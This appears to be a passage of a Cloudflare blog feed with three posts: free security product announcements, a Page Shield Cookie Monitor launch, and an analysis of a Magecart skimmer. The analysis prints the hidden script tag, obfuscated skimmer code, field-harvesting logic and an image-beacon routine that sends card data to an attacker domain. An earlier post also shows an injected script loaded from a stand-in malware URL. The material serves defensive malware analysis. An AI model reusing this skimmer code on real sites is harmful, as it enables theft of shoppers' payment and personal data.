Cloudflare dashboard. For more details on setup and configuration, refer to our <a href="https://developers.cloudflare.com/waf/detections/leaked-credentials/"><u>documentation</u></a> and use it today!</p>
    <div>
      <h3>API schema validation</h3>
      <a href="#api-schema-validation">
        
      </a>
    </div>
    <p>API traffic <a href="https://www.cloudflare.com/2024-api-security-management-report/"><u>comprises more than half</u></a> of the dynamic traffic on the Cloudflare network. The popularity of APIs has opened up a whole new <a href="https://cyware.com/news/unprotected-database-belonging-to-justdial-exposes-personal-information-of-almost-100-million-users-1d5bb7a9"><u>set</u></a> of <a href="https://venturebeat.com/security/t-mobile-data-breach-shows-api-security-cant-be-ignored/"><u>attack</u></a> <a href="https://venturebeat.com/security/twitter-breach-api-attack/"><u>vectors</u></a>. Cloudflare API Shield’s <a href="https://developers.cloudflare.com/api-shield/security/schema-validation/"><u>Schema Validation</u></a> is the first step to <a href="https://blog.cloudflare.com/api-gateway/"><u>strengthen</u></a> your API security in the face of these new threats.</p><p>Now for the first time, <i>any</i> Cloudflare customer can use Schema Validation to ensure only valid requests to their API make it through to their origin.</p><p>This functionality stops accidental information disclosure due to bugs, stops developers from haphazardly exposing endpoints through a non-standard process, and automatically blocks zombie APIs as your API inventory is kept up-to-date as part of your <a href="https://www.cloudflare.com/learning/serverless/glossary/what-is-ci-cd/">CI/CD process</a>.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3PMaRYLTwff6D7sdXRysJ7/728deb51cbec996c6741c428639b6900/image2.png" />
          </figure><p>We suggest you use Cloudflare’s <a href="https://developers.cloudflare.com/api/operations/api-shield-schema-validation-post-schema"><u>API</u></a> or Terraform <a href="https://developers.cloudflare.com/api-shield/reference/terraform/"><u>provider</u></a> to add endpoints to Cloudflare API Shield and update the schema after your code’s been released as part of your post-build CI/CD process. That way, API Shield becomes a go-to API inventory tool, and <a href="https://developers.cloudflare.com/api-shield/security/schema-validation/"><u>Schema Validation</u></a> will take care of requests towards your API that you aren’t expecting.</p><p>While APIs are all about integrating with third parties, sometimes integrations are done by loading libraries directly into your application. Next up, we’re helping secure more of the web by protecting users from malicious third party scripts that steal sensitive information from inputs on your pages.</p>
    <div>
      <h3>Supply chain attack prevention</h3>
      <a href="#supply-chain-attack-prevention">
        
      </a>
    </div>
    <p>Modern web apps improve their users’ experiences and cut down on developer time through the use of third party JavaScript libraries. Because of its privileged access level to everything on the page, a compromised third party JavaScript library can surreptitiously <a href="https://www.cloudflare.com/learning/security/what-is-data-exfiltration/">exfiltrate sensitive information</a> to an attacker without the end user or site administrator realizing it’s happened.</p><p>To counter this threat, we introduced Page Shield <a href="https://blog.cloudflare.com/introducing-page-shield/"><u>three years ago</u></a>. We are now releasing Page Shield’s Script Monitor for free to all our users.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5b6sxHcCLgIAHfb6Qub6NR/ae2f22ed1d2126804a5bc6e333d64fed/image3.png" />
          </figure><p>With <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/page-shield"><u>Script Monitor</u></a>, you’ll see <i>all</i> JavaScript assets loaded on the page, not just the ones your developers included. This visibility includes scripts dynamically loaded by other scripts! Once an attacker compromises the library, it is trivial to add a new malicious script without changing the context of the original HTML by instead including new code in the existing included JavaScript asset:</p>
            <pre><code>// Original library code (trusted)
function someLibraryFunction() {
    // useful functionality here
}

// Malicious code added by the attacker
let malScript = document.createElement('script');
malScript.src = 'https://example.com/malware.js';
document.body.appendChild(malScript);</code></pre>
            <p>Script Monitor was essential when the <a href="https://blog.cloudflare.com/polyfill-io-now-available-on-cdnjs-reduce-your-supply-chain-risk"><u>news broke of the pollyfill.io library</u></a> changing ownership. Script Monitor users had immediate visibility to the scripts loaded on their sites and could quickly and easily understand if they were at risk.</p><p>We’re happy to extend visibility of these scripts to as much of the web as we can by releasing Script Monitor for all customers. Find out how you can get started <a href="https://developers.cloudflare.com/page-shield/detection/monitor-connections-scripts/"><u>here in the docs</u></a>.</p><p>Existing users of Page Shield can immediately filter on the monitored data, knowing whether polyfill.io (or any other library) is used by their app. In addition, we <a href="https://blog.cloudflare.com/automatically-replacing-polyfill-io-links-with-cloudflares-mirror-for-a-safer-internet/"><u>built a polyfill.io rewrite</u></a> in response to the compromised service, which was automatically enabled for Free plans in June 2024.</p>
    <div>
      <h3>Turnstile as a Google Firebase extension </h3>
      <a href="#turnstile-as-a-google-firebase-extension">
        
      </a>
    </div>
    <p>We're excited to announce the <a href="https://developers.cloudflare.com/turnstile/extensions/google-firebase/"><u>Cloudflare Turnstile App Check Provider for Google Firebase</u></a>, which offers seamless integration without the need for manual setup. This new extension allows developers building mobile or web applications on Firebase to protect their projects from bots using Cloudflare’s CAPTCHA alternative. By leveraging Turnstile's bot detection and challenge capabilities, you can ensure that only authentic human visitors interact with your Firebase backend services, enhancing both security and user experience. Cloudflare Turnstile, a privacy-focused CAPTCHA alternative, differentiates between humans and bots without disrupting the user experience. Unlike traditional CAPTCHA solutions, which users often abandon, Turnstile operates invisibly and provides various modes to ensure frictionless user interactions.</p><p>The Firebase App Check extension for Turnstile is easy to integrate, allowing developers to quickly enhance app security with minimal setup. This extension is also free with unlimited usage with Turnstile’s free tier. By combining the strengths of Google Firebase's backend services and Cloudflare’s Turnstile, developers can offer a secure and seamless experience for their users. </p>
    <div>
      <h2>Cloudflare One</h2>
      <a href="#cloudflare-one">
        
      </a>
    </div>
    <p><a href="https://www.cloudflare.com/zero-trust/"><u>Cloudflare One</u></a> is a comprehensive <a href="https://www.cloudflare.com/learning/access-management/what-is-sase/"><u>Secure Access Service Edge (SASE)</u></a> platform designed to protect and connect people, apps, devices, and networks across the Internet. It combines services such as Zero Trust Network Access (ZTNA), Secure Web Gateway (SWG), and more into a single solution. Cloudflare One can help everyone secure people and networks, manage access control, protect against cyber threats, safeguard their data, and improve the performance of network traffic by routing it through Cloudflare’s global network. It replaces traditional security measures by offering a cloud-based approach to secure and streamline access to corporate resources.</p><p>Everyone now has free access to four new products that have been added to Cloudflare One over the past two years:</p><ul><li><p><a href="https://www.cloudflare.com/learning/access-management/what-is-a-casb/"><u>Cloud Access Security Broker (CASB)</u></a> for mitigating SaaS application risk<i>.</i></p></li><li><p><a href="https://www.cloudflare.com/learning/access-management/what-is-dlp/"><u>Data Loss Prevention (DLP)</u></a> for protecting sensitive data from leaving your network and SaaS applications<i>.</i></p></li><li><p><a href="https://www.cloudflare.com/learning/performance/what-is-digital-experience-monitoring/"><u>Digital Experience Monitoring</u></a> for seeing a user’s experience when they are on any network.</p></li><li><p><a href="https://www.cloudflare.com/network-services/products/magic-network-monitoring/"><u>Magic Network Monitoring</u></a> for seeing all the traffic that flows through your network<i>.</i></p></li></ul><p>This is in addition to the existing network security products already in the Cloudflare One platform:</p><ul><li><p><a href="https://www.cloudflare.com/learning/access-management/what-is-ztna/"><u>Access</u></a> for verifying users’ identity and only letting them use the applications they’re meant to be using.</p></li><li><p><a href="https://www.cloudflare.com/learning/access-management/what-is-a-secure-web-gateway/"><u>Gateway</u></a> for protecting network traffic that both goes out to the public Internet and into your private network.</p></li><li><p><a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/"><u>Cloudflare Tunnel</u></a>, our app connectors, which includes both cloudflared and WARP Connector for connecting different applications, servers, and private networks to Cloudflare’s network.</p></li><li><p><a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-devices/warp/"><u>Cloudflare WARP</u></a>, our device agent, for securely sending traffic from a laptop or mobile device to the Internet.</p></li></ul><p>Anyone with a Cloudflare account will automatically receive 50 free seats across all of these products in their Cloudflare One organization. Visit our <a href="https://www.cloudflare.com/plans/zero-trust-services/"><u>Zero Trust &amp; SASE plans page</u></a> for more information about our free products and to learn about our Pay-as-you-go and Contract plans for teams above 50 members.</p>
    <div>
      <h2>Authenticating with Google</h2>
      <a href="#authenticating-with-google">
        
      </a>
    </div>
    <p>The Cloudflare dashboard itself has become a vital resource that needs to be protected, and we spend a lot of time ensuring Cloudflare user accounts do not get compromised.</p><p>To do this, we have increased security by adding additional authentication methods including app-based two-factor authentication (2FA), passkeys, SSO, and Sign in with Apple. Today we’re adding the ability to sign up and sign in with a Google account.</p><p>Cloudflare supports several authentication workflows tailored to different use cases. While SSO and passkeys are the preferred and most secure methods of authentication, we believe that providing authentication factors that are stronger than passwords will fill a gap and raise overall average security for our users. Signing in with Google makes life easier for our users and prevents them from having to remember yet another password when they’re already browsing the web with a Google identity.</p><p>Sign in with Google is based on the <a href="https://oauth.net/2/"><u>OAuth 2.0</u></a> specification, and allows Google to securely share identifying information about a given identity while ensuring that it is Google providing this information, preventing any malicious entities from impersonating Google.</p><p>This means that we can delegate authentication to Google, preventing zero knowledge attacks directly on this Cloudflare identity.</p><p>Upon coming to the Cloudflare Sign In page, you will be presented with the button below. Clicking on it will allow you to register for Cloudflare, and once you are registered, it will allow you to sign in without typing in a password, using any existing protections you have set on your Google account.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6Sse03ivX432bBV01nfyUx/1ce8ace19aa3e4228735d1ca7bd3528c/Screenshot_2024-09-23_at_16.02.49.png" />
            
            </figure><p>With the launch of this capability, Cloudflare now uses its own Cloudflare Workers to provide an abstraction layer for <a href="https://openid.net/developers/how-connect-works/"><u>OIDC</u></a>-compatible identity providers (such as GitHub and Microsoft accounts), which means our users can expect to see more <a href="https://www.cloudflare.com/learning/access-management/what-is-an-identity-provider/"><u>identity provider (IdP)</u></a> connection support coming in the future.</p><p>At this time, only new customers signing up with Google will be able to sign in with their Google account, but we will be implementing this for more of our users going forward, with the ability to link/de-link social login providers, and we will be adding additional social login methods. Enterprise users with an established SSO setup will not be able to use this method at this time, and those with an established SSO setup based on Google Workspace will be forwarded to their SSO flow, as we consider how to streamline the Access and IdP policies that have been set up to lock down your Cloudflare environment.</p><p>If you are new to Cloudflare, and have a Google account, it is easier than ever to start using Cloudflare to protect your websites, build a new service, or try any of the other services that Cloudflare provides.</p>
    <div>
      <h2>A safer Internet</h2>
      <a href="#a-safer-internet">
        
      </a>
    </div>
    <p>One of Cloudflare’s goals has always been to democratize cyber security tools, so everyone can provide content and connect to the Internet safely, even without the resources of large enterprise organizations.</p><p>We have decided to provide a large set of new features for free to all Cloudflare users, covering a wide range of security use cases, for web administrators, network administrators, and cyber security enthusiasts.</p><p><a href="https://dash.cloudflare.com/"><u>Log in to your Cloudflare account</u></a> to start taking advantage of these announcements today. We love feedback on our <a href="https://community.cloudflare.com/"><u>community forums</u></a>, and we commit to improving both existing features and new features moving forward.</p>
    <div>
      <h2>Watch on Cloudflare TV</h2>
      <a href="#watch-on-cloudflare-tv">
        
      </a>
    </div>
    <div>
  
</div><p></p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[CASB]]></category>
            <category><![CDATA[DLP]]></category>
            <category><![CDATA[Data Loss Prevention]]></category>
            <category><![CDATA[Threat Intelligence]]></category>
            <category><![CDATA[Zero Trust]]></category>
            <category><![CDATA[Cloudflare One]]></category>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[Leaked Credential Checks]]></category>
            <category><![CDATA[SASE]]></category>
            <guid isPermaLink="false">3hUMWCRTsPTuqyUixn3aXp</guid>
            <dc:creator>Michael Tremante</dc:creator>
            <dc:creator>Reid Tatoris</dc:creator>
        </item>
        <item>
            <title><![CDATA[Collect all your cookies in one jar with Page Shield Cookie Monitor]]></title>
            <link>https://blog.cloudflare.com/collect-all-your-cookies-in-one-jar/</link>
            <pubDate>Thu, 07 Mar 2024 14:00:09 GMT</pubDate>
            <description><![CDATA[ Protecting online privacy starts with knowing what cookies are used by your websites. Page Shield extends transparent monitoring to HTTP cookies, empowering security and compliance teams with an easy overview without the need for an external scanner, nor changing existing web applications ]]></description>
            <content:encoded><![CDATA[ <p></p><p><a href="https://www.cloudflare.com/learning/privacy/what-are-cookies/">Cookies</a> are small files of information that a web server generates and sends to a web browser. For example, a cookie stored in your browser will let a website know that you are already logged in, so instead of showing you a login page, you would be taken to your account page welcoming you back.</p><p>Though cookies are very useful, they are also used for tracking and advertising, sometimes with repercussions for user privacy. Cookies are a core tool, for example, for all advertising networks. To protect users, privacy laws may require website owners to clearly specify what cookies are being used and for what purposes, and, in many cases, to obtain a user's consent before storing those cookies in the user's browser. A key example of this is the <a href="https://gdpr.eu/cookies/#:~:text=Cookie%20compliance,cookies%20except%20strictly%20necessary%20cookies.">ePrivacy Directive</a>.</p><p>Herein lies the problem: often website administrators, developers, or compliance team members don’t know what cookies are being used by their website. A common approach for gaining a better understanding of cookie usage is to set up a scanner bot that crawls through each page, collecting cookies along the way. However, many websites requiring authentication or additional security measures do not allow for these scans, or require custom security settings to allow the scanner bot access.</p><p>To address these issues, we developed Page Shield Cookie Monitor, which provides a full single dashboard view of all first-party cookies being used by your websites. Over the next few weeks, we are rolling out Page Shield Cookie Monitor to all paid plans, no configuration or scanners required if Page Shield is enabled.</p>
    <div>
      <h3>HTTP cookies</h3>
      <a href="#http-cookies">
        
      </a>
    </div>
    <p><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookies</a> are designed to allow persistence for the stateless HTTP protocol. A basic example of cookie usage is to identify a logged-in user. The browser submits the cookie back to the website whenever you access it again, letting the website know who you are, providing you a customized experience. Cookies are implemented as <a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">HTTP headers</a>.</p><p>Cookies can be classified as first-party or third-party.</p><p>First-party cookies are normally set by the website owner<sup>1</sup>, and are used to track state against the given website. The logged in example above falls into this category. First party cookies are normally restricted and sent to the given website only and won’t be visible by other sites.</p><p>Third-party cookies, on the other hand, are often set by large advertising networks, social networks, or other large organizations that want to track user journeys across the web (across domains). For example, some websites load advertisement objects from a different domain that may set a third-party cookie associated with that advertising network.</p>
    <div>
      <h3>Cookies are used for tracking</h3>
      <a href="#cookies-are-used-for-tracking">
        
      </a>
    </div>
    <p>Growing concerns around user privacy has led browsers to start blocking third-party cookies by default. Led by <a href="https://blog.mozilla.org/en/products/firefox/todays-firefox-blocks-third-party-tracking-cookies-and-cryptomining-by-default/">Firefox</a> and <a href="https://www.theverge.com/2020/3/24/21192830/apple-safari-intelligent-tracking-privacy-full-third-party-cookie-blocking">Safari</a> a few years back, <a href="https://developers.google.com/privacy-sandbox/blog/cookie-countdown-2024jan">Google Chrome</a>, which currently has the <a href="https://radar.cloudflare.com/reports/browser-market-share-2023-q4">largest browser market share</a>, and whose parent company owns Google Ads, the <a href="https://w3techs.com/technologies/overview/advertising">dominant advertising network</a>, started restricting third-party cookies beginning in January of this year.</p><p>However, this does not mean the end of tracking users for advertising purposes; the technology has advanced allowing tracking to continue based on first-party cookies. Facebook Pixel, for example, started offering to set first-party cookies <i>alongside</i> third-party cookies <a href="https://www.inc.com/peter-roesler/facebook-to-allow-for-first-party-cookies-on-october-24th.html">in 2018</a> when being embedded in a website, in order “<a href="https://www.facebook.com/business/help/471978536642445?id=1205376682832142">to be more accurate in measurement and reporting</a>”.</p>
    <div>
      <h3>Scanning for cookies?</h3>
      <a href="#scanning-for-cookies">
        
      </a>
    </div>
    <p>To inventory all the cookies used when your website is accessed, you can open up any modern browser’s developer console and review which cookie is being set and sent back per HTTP request. However, collecting cookies with this approach won’t be practical unless your website is rather static, containing few external <a href="https://en.wikipedia.org/wiki/Snippet_(programming)">snippets</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/66MMjxkmwS1B9Ehtk8WPbN/2f29fa1bffaa14d0d574ed50e3a7078b/image1-22.png" />
            
            </figure><p><i>Screen capture of Chrome’s developer console listing cookies being set and sent back when visiting a website.</i></p><p>To resolve this, a cookie scanner can be used to automate cookie collection. Depending on your security setup, additional configurations are sometimes required in order to let the scanner bots pass through protection and/or authentication. This may open up a <a href="https://www.cloudflare.com/learning/security/what-is-an-attack-surface/">potential attack surface</a>, which isn’t ideal.</p>
    <div>
      <h3>Introducing Page Shield Cookie Monitor</h3>
      <a href="#introducing-page-shield-cookie-monitor">
        
      </a>
    </div>
    <p>With Page Shield <a href="https://developers.cloudflare.com/page-shield/get-started/#activate-page-shield">enabled</a>, all the first-party cookies, whether set by your website or by external snippets, are collected and displayed in one place, no scanner required. With the click of a button, the full list can be exported in CSV format for further inventory processing.</p><p>If you run multiple websites like a marketing website and an admin console that require different cookie strategies, you can simply filter the list based on either domain or path, under the same view. This includes the websites that require authentication such as the admin console.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/33L4FEvcR5LPp8YwkIfdxF/fcf093584fc5527286bce47470aac9cc/image3-19.png" />
            
            </figure><p><i>Dashboard showing a table of cookies seen, including key details such as cookie name, domain and path, and which host set the cookie.</i></p><p>To examine a particular cookie, clicking on its name takes you to a dedicated page that includes all the cookie attributes. Furthermore, similar to Script Monitor and Connection Monitor, we collect the first seen and last seen time and pages for easier tracking of your website’s behavior.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/33eImaar9FKMDZVmt3f4s1/56f60b1478ae44dc0fcfb018367f2098/image4-22.png" />
            
            </figure><p><i>Detailed view of a captured cookie in the dashboard, including all cookie attributes as well as under which host and path this cookie has been set.</i></p><p>Last but not least, we are adding one more alert type specifically for newly seen cookies. When subscribed to this alert, we will notify you through either email or <a href="https://developers.cloudflare.com/notifications/get-started/configure-webhooks/">webhook</a> as soon as a new cookie is detected with all the details mentioned above. This allows you to trigger any workflow required, such as inventorying this new cookie for compliance.</p>
    <div>
      <h3>How Cookie Monitor works</h3>
      <a href="#how-cookie-monitor-works">
        
      </a>
    </div>
    <p>Let’s imagine you run an e-commerce website <code>example.com</code>. When a user logs in to view their ongoing orders, your website would send a header with key <code>Set-Cookie</code>, and value to identify each user’s login activity:</p><ul><li><p><code>login_id=ABC123; Domain=.example.com</code></p></li></ul><p>To analyze visitor behaviors, you make use of Google Analytics that requires embedding a code snippet in all web pages. This snippet will <a href="https://support.google.com/analytics/answer/11397207">set two more cookies</a> after the pages are loaded in the browser:</p><ul><li><p><code>_ga=GA1.2; Domain=.example.com;</code></p></li><li><p><code>_ga_ABC=GS1.3; Domain=.example.com;</code></p></li></ul><p>As these two cookies from Google Analytics are considered first-party given their domain attribute, they are automatically included together with the logged-in cookie sent back to your website. The final cookie sent back for a logged-in user would be <code>Cookie: login_id=ABC123; _ga=GA1.2; _ga_ABC=GS1.3</code> with three cookies concatenated into one string, even though only one of them is directly consumed by your website.</p><p>If your website happens to be <a href="https://developers.cloudflare.com/fundamentals/concepts/how-cloudflare-works/#with-cloudflare">proxied</a> through Cloudflare already, we will observe <i>one</i> <code>Set-Cookie</code> header with cookie name of <code>login_id</code> during response, while receiving <i>three</i> cookies back: <code>login_id</code>, <code>_ga</code>, and <code>_ga_ABC</code>. Comparing <i>one</i> cookie set with <i>three</i> returned cookies, the overlapping <code>login_id</code> cookie is then tagged as set by your website directly. The same principle applies to all the requests passing through Cloudflare, allowing us to build an overview of all the first-party cookies used by your websites.</p>
    <div>
      <h3>All cookies in one jar</h3>
      <a href="#all-cookies-in-one-jar">
        
      </a>
    </div>
    <p>Inventorying all cookies set through using your websites is a first step towards protecting your users’ privacy, and Page Shield makes this step just one click away. <a href="https://cloudflare.com/lp/pages-cookie-monitor/">Sign up now</a> to be notified when Page Shield Cookie Monitor becomes available!</p><p>...</p><p><sup>1</sup><a href="https://webkit.org/tracking-prevention/">Technically</a>, a first-party cookie is a cookie scoped to the given domain only (so not cross domain). Such a cookie can also be set by a third party snippet used by the website to the given domain.</p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[Privacy]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">7hEiD5Y4ZgRyZ2AuLkzH81</guid>
            <dc:creator>Zhiyuan Zheng</dc:creator>
        </item>
        <item>
            <title><![CDATA[Navigating the maze of Magecart: a cautionary tale of a Magecart impacted website]]></title>
            <link>https://blog.cloudflare.com/navigating-the-maze-of-magecart/</link>
            <pubDate>Mon, 04 Mar 2024 14:00:21 GMT</pubDate>
            <description><![CDATA[ E-commerce websites were targeted by a sophisticated Magecart attack, involving a hidden JavaScript code designed to secretly steal Personally Identifiable Information (PII) and credit card details from users ]]></description>
            <content:encoded><![CDATA[ <p></p><p>The Cloudflare security research team reviews and evaluates scripts flagged by <a href="https://developers.cloudflare.com/page-shield/">Cloudflare Page Shield</a>, focusing particularly on those with low scores according to our machine learning (ML) model, as <a href="https://developers.cloudflare.com/page-shield/how-it-works/malicious-script-detection/#malicious-script-detection">low scores indicate the model thinks they are malicious</a>. It was during one of these routine reviews that we stumbled upon a peculiar script on a customer’s website, one that was being fetched from a zone unfamiliar to us, a new and uncharted territory in our digital map.</p><p>This script was not only obfuscated but exhibited some suspicious behavior, setting off alarm bells within our team. Its complexity and the mysterious nature piqued our curiosity, and we decided to delve deeper, to unravel the enigma of what this script was truly up to.</p><p>In our quest to decipher the script's purpose, we geared up to dissect its layers, determined to shed light on its hidden intentions and understand the full scope of its actions.</p><p>The Infection Mechanism: A seemingly harmless HTML <code>div</code> element housed a piece of JavaScript, a trojan horse lying in wait.</p>
            <pre><code>&lt;div style="display: none; visibility: hidden;"&gt;
&lt;script src="//cdn.jsdelivr.at/js/sidebar.min.js"&gt;&lt;/script&gt;
&lt;/div&gt;</code></pre>
            <p><i>The script was the conduit for the malicious activities</i></p>
    <div>
      <h2>The devil in the details</h2>
      <a href="#the-devil-in-the-details">
        
      </a>
    </div>
    <p>The script hosted at the aforementioned domain was a piece of obfuscated JavaScript, a common tactic used by attackers to hide their malicious intent from casual observation. The obfuscated code can be examined in detail through the <a href="https://radar.cloudflare.com/scan/6cc5856d-f16d-496d-bfe0-f635bd75bec8/summary">snapshot</a> provided by Cloudflare Radar URL Scanner.</p><p>Obfuscated script snippet:</p>
            <pre><code>function _0x5383(_0x411252,_0x2f6ba1){var _0x1d211f=_0x1d21();return _0x5383=function(_0x5383da,_0x5719da){_0x5383da=_0x5383da-0x101;var _0x3d97e9=_0x1d211f[_0x5383da];return _0x3d97e9;},_0x5383(_0x411252,_0x2f6ba1);}var _0x11e3ed=_0x5383;(function(_0x3920b4,_0x32875c){var _0x3147a9=_0x5383,_0x5c373e=_0x3920b4();while(!![]){try{var _0x5e0fb6=-parseInt(_0x3147a9(0x13e))/0x1*(parseInt(_0x3147a9(0x151))/0x2)+parseInt(_0x3147a9(0x168))/0x3*(parseInt(_0x3147a9(0x136))/0x4)+parseInt(_0x3147a9(0x15d))/0x5*(parseInt(_0x3147a9(0x152))/0x6)+-parseInt(_0x3147a9(0x169))/0x7*(-parseInt(_0x3147a9(0x142))/0x8)+parseInt(_0x3147a9(0x143))/0x9+-parseInt(_0x3147a9(0x14b))/0xa+-parseInt(_0x3147a9(0x150))/0xb;if(_0x5e0fb6===_0x32875c)break;else _0x5c373e['push'](_0x5c373e['shift']());}catch(_0x1f0719){_0x5c373e['push'](_0x5c373e['shift']());}}}(_0x1d21,0xbc05c));function _0x1d21(){var _0x443323=['3439548foOmOf',
.....</code></pre>
            <p>The primary objective of this script was to steal Personally Identifiable Information (PII), including credit card details. The stolen data was then transmitted to a server controlled by the attackers, located at <a href="https://jsdelivr\[.\]at/f\[.\]php">https://jsdelivr\[.\]at/f\[.\]php</a>.</p>
    <div>
      <h2>Decoding the malicious domain</h2>
      <a href="#decoding-the-malicious-domain">
        
      </a>
    </div>
    <p>Before diving deeper into the exact behaviors of a script, examining the hosted domain and its insights could already reveal valuable arguments for overall evaluation. Regarding the hosted domain <code>cdn.jsdelivr.at</code> used in this script:</p><ul><li><p>It was registered on 2022-04-14.</p></li><li><p>It impersonates the well-known hosting service <a href="https://www.jsdelivr.com/">jsDelivr</a>, which is hosted at <code>cdn.jsdelivr.net</code>.</p></li><li><p>It was registered by 1337team Limited, a company known for providing bulletproof hosting services. These services are frequently utilized in various cybercrime campaigns due to their resilience against law enforcement actions and their ability to host illicit activities without interruption.</p></li><li><p>Previous mentions of this hosting provider, such as in a tweet by <a href="https://twitter.com/malwrhunterteam/status/1374703390748520448">@malwrhunterteam</a>, highlight its involvement in cybercrime activities. This further emphasizes the reputation of 1337team Limited in the cybercriminal community and its role in facilitating malicious campaigns.</p></li></ul>
    <div>
      <h2>Decoding the malicious script</h2>
      <a href="#decoding-the-malicious-script">
        
      </a>
    </div>
    <p>Data Encoding and Decoding Functions: The script uses two functions, <code>wvnso.jzzys</code> and <code>wvnso.cvdqe</code>, for encoding and decoding data. They employ Base64 and URL encoding techniques, common methods in malware to conceal the real nature of the data being sent.</p>
            <pre><code>var wvnso = {
  "jzzys": function (_0x5f38f3) {
    return btoa(encodeURIComponent(_0x5f38f3).replace(/%([0-9A-F]{2})/g, function (_0x7e416, _0x1cf8ee) {
      return String.fromCharCode('0x' + _0x1cf8ee);
    }));
  },
  "cvdqe": function (_0x4fdcee) {
    return decodeURIComponent(Array.prototype.map.call(atob(_0x4fdcee), function (_0x273fb1) {
      return '%' + ('00' + _0x273fb1.charCodeAt(0x0).toString(0x10)).slice(-0x2);
    }).join(''));
  }</code></pre>
            <p>Targeted Data Fields: The script is designed to identify and monitor specific input fields on the website. These fields include sensitive information like credit card numbers, names, email addresses, and other personal details. The <code>wvnso.cwwez</code> function maps these fields, showing that the attackers had carefully studied the website’s layout.</p>
            <pre><code>"cwwez": window.JSON.parse(wvnso.cvdqe("W1siZmllbGQiLCAiaWZyYW1lIiwgMCwgIm4iLCAiTnVtYmVyIl0sIFsibmFtZSIsICJmaXJzdG5hbWUiLCAwLCAiZiIsICJIb2xkZXIiXSwgWyJuYW1lIiwgImxhc3RuYW1lIiwgMCwgImwiLCAiSG9sZGVyIl0sIFsiZmllbGQiLCAiaWZyYW1lIiwgMCwgImUiLCAiRGF0ZSJdLCBbImZpZWxkIiwgImlmcmFtZSIsIDAsICJjIiwgIkNWViJdLCBbImlkIiwgImN1c3RvbWVyLWVtYWlsIiwgMCwgImVsIiwgImVtYWlsIl0sIFsibmFtZSIsICJ0ZWxlcGhvbmUiLCAwLCAicGUiLCAicGhvbmUiXSwgWyJuYW1lIiwgImNpdHkiLCAwLCAiY3kiLCAiY2l0eSJdLCBbIm5hbWUiLCAicmVnaW9uX2lkIiwgMywgInNlIiwgInN0YXRlIl0sIFsibmFtZSIsICJyZWdpb24iLCAwLCAic2UiLCAic3RhdGUiXSwgWyJuYW1lIiwgImNvdW50cnlfaWQiLCAwLCAiY3QiLCAiQ291bnRyeSJdLCBbIm5hbWUiLCAicG9zdGNvZGUiLCAwLCAienAiLCAiWmlwIl0sIFsiaWQiLCAiY3VzdG9tZXItcGFzc3dvcmQiLCAwLCAicGQiLCAicGFzc3dvcmQiXSwgWyJuYW1lIiwgWyJzdHJlZXRbMF0iLCAic3RyZWV0WzFdIiwgInN0cmVldFsyXSJdLCAwLCAiYXMiLCAiYWRkciJdXQ==")),</code></pre>
            <p>Data Harvesting Logic: The script uses a set of complex functions ( <code>wvnso.uvesz</code>,  <code>wvnso.wsrmf</code>, etc.) to check each targeted field for user input. When it finds the data it wants (like credit card details), it collects ("harvests") this data and gets it ready to be sent out ("<a href="https://www.cloudflare.com/learning/security/what-is-data-exfiltration/">exfiltrated</a>").</p>
            <pre><code>"uvesz": function (_0x52b255) {
    for (var _0x356fbe = 0x0; _0x356fbe &lt; wvnso.cwwez.length; _0x356fbe++) {
      var _0x25348a = wvnso.cwwez[_0x356fbe];
      if (_0x52b255.hasAttribute(_0x25348a[0x0])) {
        if (typeof _0x25348a[0x1] == "object") {
          var _0xca9068 = '';
          _0x25348a[0x1].forEach(function (_0x450919) {
            var _0x907175 = document.querySelector('[' + _0x25348a[0x0] + "=\"" + _0x450919 + "\"" + ']');
            if (_0x907175 != null &amp;&amp; wvnso.wsrmf(_0x907175, _0x25348a[0x2]).length &gt; 0x0) {
              _0xca9068 += wvnso.wsrmf(_0x907175, _0x25348a[0x2]) + " ";
            }
          });
          wvnso.krwon[_0x25348a[0x4]] = _0xca9068.trim();
        } else {
          if (_0x52b255.attributes[_0x25348a[0x0]].value == _0x25348a[0x1] &amp;&amp; wvnso.wsrmf(_0x52b255, _0x25348a[0x2]).length &gt; 0x0) {
            if (_0x25348a[0x3] == 'l') {
              wvnso.krwon[_0x25348a[0x4]] += " " + wvnso.wsrmf(_0x52b255, _0x25348a[0x2]);
            } else {
              if (_0x25348a[0x3] == 'y') {
                wvnso.krwon[_0x25348a[0x4]] += '/' + wvnso.wsrmf(_0x52b255, _0x25348a[0x2]);
              } else {
                wvnso.krwon[_0x25348a[0x4]] = wvnso.wsrmf(_0x52b255, _0x25348a[0x2]);
              }
            }
          }
        }
      }
    }
  }</code></pre>
            <p>Stealthy Data Exfiltration: After harvesting the data, the script sends it secretly to the attacker's server (located at <a href="https://jsdelivr\[.\]at/f\[.\]php">https://jsdelivr\[.\]at/f\[.\]php</a>). This process is done in a way that mimics normal Internet traffic, making it hard to detect. It creates an Image HTML element programmatically (not displayed to the user) and sets its src attribute to a specific URL. This URL is the attacker's server where the stolen data is sent.</p>
            <pre><code>"eubtc": function () {
    var _0x4b786d = wvnso.jzzys(window.JSON.stringify(wvnso.krwon));
    if (wvnso.pqemy() &amp;&amp; !(wvnso.rnhok.indexOf(_0x4b786d) != -0x1)) {
      wvnso.rnhok.push(_0x4b786d);
      var _0x49c81a = wvnso.spyed.createElement("IMG");
      _0x49c81a.src = wvnso.cvdqe("aHR0cHM6Ly9qc2RlbGl2ci5hdC9mLnBocA==") + '?hash=' + _0x4b786d;
    }
  }</code></pre>
